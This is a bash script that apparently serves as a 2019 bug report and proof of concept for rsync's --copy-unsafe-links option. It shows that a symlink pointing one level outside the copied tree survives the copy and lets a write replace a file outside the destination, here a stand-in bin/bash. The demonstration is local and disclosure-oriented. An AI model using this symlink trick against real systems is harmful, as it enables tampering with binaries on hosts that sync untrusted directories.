#! /bin/bash
# Demonstrate a bug in rsync. Probably, it is a security issue.
# 
# rsync: despite --copy-unsafe-links, rsync does not copy the
# referent of symlinks that point one level outside the copied tree
#
# Garbalo, 19 Feb. 2019
#

# Tested on Lubuntu 18.04.1 LTS: rsync version 3.1.2, protocol version 31
# (The most current version of rsync is 3.1.3. But its release notes
# do not mention this bug to be fixed.)
# The change & release notes of Lubuntu 18.04.1 do not mention rsync.
# The bug tracker Ubuntu Launchpad does not mention this bug.

# "man rsync" says:
# --copy-unsafe-links
#        This  tells  rsync  to  copy the referent of symbolic links that
#        point outside the  copied  tree.   Absolute  symlinks  are  also
#        treated  like  ordinary  files,  and  so are any symlinks in the
#        source path itself when --relative is used.  This option has  no
#        additional effect if --copy-links was also specified.

# Clean anything left from a previous demo run:
rm -rf demo

# Setting up a first system, a part of which will be copied using
# rsync:

mkdir demo
mkdir demo/rootdir1
mkdir demo/rootdir1/bin
echo "system 1 command file, fine" > demo/rootdir1/bin/bash
mkdir demo/rootdir1/home
mkdir demo/rootdir1/home/jb
# Create some harmless symlink:
echo "some data" > demo/rootdir1/home/jb/data
ln -s data demo/rootdir1/home/jb/symlinked_data
# Create the symlink for the attack:
ln -s ../../bin demo/rootdir1/home/jb/bin

# Setting up a second system, where a copy will go to:

mkdir demo/rootdir2
mkdir demo/rootdir2/bin
echo "system 2 command file, fine" > demo/rootdir2/bin/bash

# Do the copying of home to the second system using rsync:

cd demo/rootdir1
rsync --archive --copy-unsafe-links home ../rootdir2
cd ../..
# The following accesses the contents of demo/rootdir2/bin/bash,
# which is outside of the copied tree demo/rootdir2/home, and thus not OK.
cd demo/rootdir2/home
echo "evil command file, replacing command file of system 2" > jb/bin/bash
cd ../../..
# The file outside the copied tree has been modified:
cat demo/rootdir2/bin/bash

# Setting up a third system, where a copy will go to:

mkdir demo/rootdir3
mkdir demo/rootdir3/bin
echo "system 3 command file, fine" > demo/rootdir3/bin/bash

# Do the copying of home/ (with trailing slash) to the third system
# using rsync:

cd demo/rootdir1
rsync --archive --copy-unsafe-links home/ ../rootdir3/home
cd ../..
# The following accesses the contents of demo/rootdir3/home/jb/bin/bash,
# which is a copy of demo/rootdir1/bin/bash, residing inside
# /demo/rootdir3/home, and thus OK.
cd demo/rootdir3/home
echo "evil command file, but cannot replace command file of system 3" \
	> jb/bin/bash
cd ../../..
# The file outside the copied tree has not been modified:
cat demo/rootdir3/bin/bash

# Setting up a fourth system, where a copy will go to. This time,
# the symlink points two levels outside the copied tree, and everything
# works as expected.

mkdir demo/rootdir4
mkdir demo/rootdir4/bin
echo "system 4 command file, fine" > demo/rootdir4/bin/bash
mkdir demo/rootdir4/home

# Do the copying of home/jb to the third system using rsync:
cd demo/rootdir1/home
rsync --archive --copy-unsafe-links jb ../../rootdir4/home
cd ../../..
# The following accesses the contents of demo/rootdir4/home/jb/bin/bash,
# which is a copy of demo/rootdir1/bin/bash, residing inside
# /demo/rootdir4/home/hb, and thus OK.
cd demo/rootdir4/home/jb
echo "evil command file, but cannot replace command file of system 4" \
	> bin/bash
cd ../../../..
# The file outside the copied tree has not been modified:
cat demo/rootdir4/bin/bash
